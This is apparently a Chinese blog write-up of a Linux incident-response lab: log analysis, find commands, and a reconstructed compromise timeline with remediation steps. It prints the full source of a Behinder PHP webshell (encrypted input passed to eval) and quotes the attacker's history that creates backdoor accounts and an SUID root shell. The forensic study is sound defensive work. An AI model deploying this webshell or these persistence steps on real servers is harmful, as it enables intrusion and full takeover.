
依旧水文章算是,最近也是经常在看应急响应的东西,感觉无境·ULab的靶场很不错至少我觉得我能学到很多东西和思路,建议大家都来都来!
无境U·Lab:https://vip.mhtsec.com/ulab
棉花糖会员站:https://vip.mhtsec.com/?ref=7269
看不清楚的话可以直接看我的语雀文档哈:https://www.yuque.com/lz-zero/zguzge/oedm1xhzkxgvixye?singleDoc# 《无境·U Lab -- linux 服务器被黑应急》
该靶场环境来自暗月2025培训课程,请使用web123/Abc@1234 通过ssh远程连接,如需root使用sudo -i切换,flag答题程序在桌面文件夹中,执行后答题获取最终flag
某天客户反馈: linux服务器存在异常连接,疑似被⼊侵 需要应急⼯程师到现场排查,并出⼀份应急响应报告。
先用SSH连接服务器先:
192.168.111.20:22web123/Abc@1234
服务器被⼊侵之后,攻击者肯定会会上传或创建⼀些恶意⽂件,比如webshell后门或木马文件等,可以通过查看最近创建的⽂件,来进行分析
find / -type f -mtime -1 -ls 2>/dev/null说明:
-mtime -1 :查 24 ⼩时内修改的⽂件
-ls :列出详细信息
2>/dev/null :忽略⽆权限的错误信息
查看指定⽬录 24⼩时之内修改的⽂件 ⾃动排序

再去查找一些比较常用来存放恶意后门和文件的一些目录:
find /tmp /var/tmp /dev/shm /var/www /home -type f -cmin -720 -ls 2>/dev/null解析:
/tmp、/var/tmp、/dev/shm(内存临时文件系统)、/var/www(常见 Web 根目录)、/home(用户主目录)。-type f(普通文件)、-cmin -720(状态更改时间 ctime 在最近 720 分钟以内,即 12 小时内)。-ls 以类似 ls -l 的格式显示详细信息(包括 inode、权限、链接数、所有者、大小、修改时间、文件名等)。2>/dev/null 丢弃权限拒绝等错误信息。这个用来安全检查或入侵排查,快速定位近期在临时目录、Web 目录及用户目录中被创建或修改的文件,这些位置常被攻击者用于存放恶意脚本、后门或临时载荷。

再看看把时间限制在1天内即可(24小时,刚才的是12小时)
find /tmp /var/tmp /dev/shm /var/www /home -type f -mtime -1 -ls 2>/dev/null

这里给他区分一下,把⼀些php、so、sh⽂件过滤出来看看
find / -type f -mtime -1 \( -name "*.php" -o -name "*.sh" -o -name "*.so"\) -ls 2>/dev/null
命令含义解释
/(整个根文件系统,包括所有挂载点)-type f(普通文件)-mtime -1(内容修改时间在最近 1 天 内,即 24 小时内)\( -name "*.php" -o -name "*.sh" -o -name "*.so" \)*.php*.sh*.so-ls(类似 ls -l 的详细信息)2>/dev/null(丢弃权限拒绝等错误)意图:全盘扫描最近 24 小时内新增或修改的可疑可执行脚本/库文件
但是我们发现执行后是失败的,说明24小时内没有这些,那我们就扩大到3天试试看
find /var/www/html -type f -mtime -3 \( -name "*.php" -o -name "*.sh" -o -name "*.so" \) 2>/dev/null | xargs ls -lta1. find /var/www/html -type f -mtime -3 ...
/var/www/html —— 常见的 Web 根目录(例如 Apache 或 Nginx 的默认网页目录)。-type f —— 只查找普通文件。-mtime -3 —— 内容修改时间(modify time)在 最近 3 天以内(小于 72 小时)。(-mtime +3 表示 3 天前修改;-mtime 3 表示恰好 3 天前;-mtime -3 表示 3 天内修改过)。\( -name "*.php" -o -name "*.sh" -o -name "*.so" \) —— 匹配后缀为 .php、.sh 或 .so 的文件。*.php:PHP 脚本(Webshell 常见载体)。*.sh:Shell 脚本(后门、启动脚本、下载器)。*.so:共享对象文件(动态链接库,可用于 LD_PRELOAD 型 Rootkit 或内存马)。2>/dev/null —— 丢弃权限拒绝等错误输出(例如无读取权限的目录)。2. | xargs ls -lta
find 输出的文件路径(每行一个)传递给 xargs。xargs ls -lta:对每个文件(或批量)执行 ls -lta。-l:长格式列表(权限、链接数、所有者、大小、修改时间、文件名)。-t:按修改时间排序(最新修改的排在前面)。-a:显示所有文件(包括以点开头的隐藏文件,但 find 匹配的文件名通常不包含隐藏文件,此选项影响不大)。最终效果:在 /var/www/html 目录下找出最近 3 天内修改过的 .php、.sh 或 .so 文件,并按修改时间从新到旧列出详细信息。

这里我们已经把信息收集的差不多差不多了,直接输命令列出所有文件并按修改时间排序,查看最新的几个:find /var/www/html/ -type f -printf "%T@ %p\n" 2>/dev/null | sort -nr | head -5

然后再把⼀些php、so、sh⽂件过滤出来再去查询结果
find / -type f -mtime -1 \( -name "*.php" -o -name "*.sh" -o -name "*.so" \) -ls 2>/dev/null| sort这里因为其实我们已经知道了shell.php是最先打进来的一个shell后门所以我们可以直接查看这个即可:find /var/www/html -name "shell.php" -printf '%TY-%Tm-%Td %TH:%TM:%S %p\n' 2>/dev/null

shell.php⽂件的创建的时间 2025-06-29 14:30:6所以本题的flag是:

而从/var/www/html/shell.php存在创建的时间 根据这个时间范围查看web访问记录。
利用grep 搜索命令,然后精准查找访问 shell.php 的记录
grep 'shell.php' /var/log/apache2/access.loggrep 'shell.php' /var/log/apache2/error.log
由于日志被轮换过要去找找老日志(我说为什么不行……我真服了)
grep 'shell.php' /var/log/apache2/access.log*
当然可以用这个的话用这个好一些吧其实
zgrep 'shell.php' /var/log/apache2/access.log.* | sort命令解释
zgrep:用于在 gzip 压缩的日志文件中搜索字符串(自动解压)。/var/log/apache2/access.log.*:匹配所有以 access.log. 开头的文件,包括:access.log.1、access.log.2.gz、access.log.3.gz 等轮转后的日志。access.log(无后缀),如果需要包括当前日志,应使用 access.log* 或单独添加。| sort:对结果按行排序(通常是按时间顺序或字典序)。
web记录返回200的shell.php访问时间是 29/Jun/2025:14:32:53 +0800 时间刚好是创建之后再
进⾏进⾏访问的。然后我们从web记录中发现 192.168.10.145 ⽹站⽬录存在扫描⾏为 192.168.10.94 连接过shell.php
那我们需要输命令快速查出谁最频繁请求 shell.php
zgrep 'shell.php' /var/log/apache2/access.log* 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -nr窝趣,这么多?应该是这个IP了:192.168.10.94

接着查看shell.php是如何创建的,打开shell.php查看内容,然后我们分析一下就是后⻔⽂件

<?php@error_reporting(0);session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params);?>这是一个典型的 冰蝎(Behinder)WebShell 服务端代码。下面逐段分析其功能和执行流程。
1. 基础环境设置
@error_reporting(0);session_start();$key = "e45e329feb5d925b"; // 连接密码 "rebeyond" 的 MD5 前16位$_SESSION['k'] = $key;session_write_close();$_SESSION['k']。e45e329feb5d925b 是默认密码 rebeyond 的 MD5(e45e329feb5d925b 实际是 rebeyond 的 32 位 MD5 值的前 16 位)。2. 接收并解密 payload
$post = file_get_contents("php://input");无 OpenSSL 时的解密方式(异或)
if(!extension_loaded('openssl')) { $t = "base64_"."decode"; $post = $t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i] ^ $key[$i+1&15]; }}$key[$i+1&15] 是密钥的循环取值(下标 1~15 循环)。有 OpenSSL 时的解密方式(AES-128)
else { $post = openssl_decrypt($post, "AES128", $key);}3. 解析并执行指令
$arr = explode('|', $post);$func = $arr[0];$params = $arr[1];功能名|参数(例如 eval|phpinfo();)。class C { public function __invoke($p) { eval($p.""); }}@call_user_func(new C(), $params);C,其 __invoke 方法会执行 eval($p)。call_user_func 触发该 __invoke 方法,最终对 $params 进行 eval 执行。结果:攻击者可以发送任意 PHP 代码,由服务端 eval 执行,实现完全控制(文件管理、命令执行、数据库操作等)。
接下来我们查看shell.php创建⽂件之前的web访问记录,访问大概是20分钟之内的访问记录看看
zgrep "29/Jun/2025:1[1-9]" /var/log/apache2/access.log* 2>/dev/null
一堆目录扫描的记录窝趣了,先排除掉 "gobuster/3.6"字符串
zgrep "29/Jun/2025:1[1-9]" /var/log/apache2/access.log* 2>/dev/null | grep -v "gobuster/3.6"
做一下日志分析吧(其实我看着头都大了)
/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:13:40:05 +0800] "POST /dede/login.php HTTP/1.1" 200 1540 "http://192.168.10.107/dede/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:13:40:06 +0800] "GET /dede/index.php HTTP/1.1" 200 4359 "http://192.168.10.107/dede/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:13:40:06 +0800] "GET /dede/css/frame.css HTTP/1.1" 200 2464 "http://192.168.10.107/dede/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:14:29:19 +0800] "POST /dede/makehtml_homepage.php HTTP/1.1" 200 462 "http://192.168.10.107/dede/makehtml_homepage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:14:29:21 +0800] "GET /tags.php HTTP/1.1" 200 312 "http://192.168.10.107/dede/makehtml_homepage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:14:30:15 +0800] "POST /dede/makehtml_homepage.php HTTP/1.1" 200 463 "http://192.168.10.107/dede/makehtml_homepage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"/var/log/apache2/access.log.1:192.168.10.145 - - [29/Jun/2025:14:30:16 +0800] "GET /shell.php HTTP/1.1" 200 312 "http://192.168.10.107/dede/makehtml_homepage.php" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"审计结果:
192.168.10.145 29/Jun/2025:13:40:05 登录dede/index.php
29/Jun/2025:14:30:15 +0800访问 /dede/makehtml_homepage.php
29/Jun/2025:14:30:16 访问 shell.php 因为没有设置post记录访问
记录不到详细的post数据内容。 访问后台发现存在弱⼝令。
查看一下ssh 登录成功和失败的⽇志
zgrep 'Accepted' /var/log/auth.log* 2>/dev/null
zgrep 'Failed' /var/log/auth.log* 2>/dev/null
然后我们可以看到的是在Jun 30 00:42:31 成功登录过
/var/log/auth.log.1:Jun 30 00:42:31 web123-virtual-machine sshd[4009]: Accepted password for sysadmin from 192.168.10.145 port 59900 ssh2zgrep 'sudo' /var/log/auth.log* 2>/dev/null
存在两个账号使⽤过sudo记录,那我们就该去查看账号了 cat /etc/passwd | grep bash

web123:x:1000:1000:web123,,,:/home/web123:/bin/bashsysadmin:x:1001:1001::/home/sysadmin:/bin/bashbackdoor:x:1002:1002::/home/backdoor:/bin/bash而这里我们拿到了账户下一步需要通过home目录去查询用户的创建时间

web123@web123-virtual-machine:/var/log/apache2$ ls -ld /home/sysadmindrwxr-xr-x 4 sysadmin sysadmin 4096 6月 30 2025 /home/sysadminweb123@web123-virtual-machine:/var/log/apache2$ ls -ld /home/backdoordrwxr-xr-x 2 backdoor backdoor 4096 6月 30 2025 /home/backdoor查看用户组(重点肯定是要看看root和sudo组了哈)

所以其实到这里,本题已经有答案了,就是rootshell

与此同时第三题的答案也很明显,后门的用户名其实就是backdoor(其实猜都可以猜出来)


切换到sysadmin用户查看一下历史:sysadmin/:My@StrongP@ssw0rd
sysadmin@web123-virtual-machine:/var/spool/cron/crontabs$ history 1 id 2 cat /etc/shadow 3 u - sysadmin 4 sudo cat /etc/shadow 5 id 6 exit 7 history
我们可以看到攻击之后的root的操作记录
useradd -m -s /bin/bash sysadmin 38 echo 'sysadmin:My@StrongP@ssw0rd' | chpasswd 39 usermod -aG root sysadmin 40 su usermod -aG sudo sysadmin 41 usermod -aG sudo sysadmin 42 apt install gcc 43 vi #include <stdio.h> 44 ls 45 clear 46 ls 47 vi rootshell.c 48 gcc rootshell.c -o /usr/local/bin/rootshell 49 chmod +s /usr/local/bin/rootshell 50 exit查看一下进程 top

查看计划任务
cat /etc/crontab
查看⽹络连接netstat -anltp

出站 SYN_SENT 连接:192.168.111.20:37072 → 1.1.1.1:53
SYN_SENT 表示客户端已发送 TCP SYN 包,但未收到 SYN+ACK(可能被防火墙阻断、目标拒绝或网络问题)。该连接未成功建立。dig +tcp 或 nslookup -vc 强制使用 TCP。监听端口风险提示
0.0.0.0),若密码较弱或允许密码登录,存在暴力破解风险。shell.php),应尽快加固 Web 应用。直接可疑点:出站 TCP 53 连接到 1.1.1.1 且状态 SYN_SENT,不符合常规 DNS 行为,可能是恶意软件尝试通信。
事件的起因是 192.168.10.107 服务器上的⽹站后台存在弱⼝令,2025-06-29:13:40:05 登录 dede/index.php 通过模块更新创建shell.php获取⽹站权限。接着提权获取root权限。在 2025-06-30 00:54 创建⽤户 sysadnin
202506-30 00:57 创建⽤户 backdoor 在 2025-06-30 00:42:31登录此服务器进⾏操作 2025-06- 30 00:53 创建了 后⻔⽂件 /usr/local/bin/rootshell
封禁IP
192.168.10.107192.168.10.94删除账号
sysadminbackdoor修改后台密码 设置⾼强度密码
修改服务器密码
修改mysql的密码
删除 /usr/local/bin/rootshell
1.提⾼安全意识,账号⼝令定期更换,且满⾜强⼝令。
2.安装杀毒软件并全盘查杀,定期查杀。
3.建议提⾼安全防护能⼒,在⽹络中部署防⽕墙设备并开启⼊侵防御、防病毒等模块,实战⽹络攻击的实时防护。
4.建议增强安全的检测能⼒,定期进⾏安全检测,记录检测情况。
欢迎来看我复盘的小面经
https://www.yuque.com/lz-zero/hb55k7/hx6vo44vxfqltuti?singleDoc# 《2026 4月 安恒安全服务实习生面经》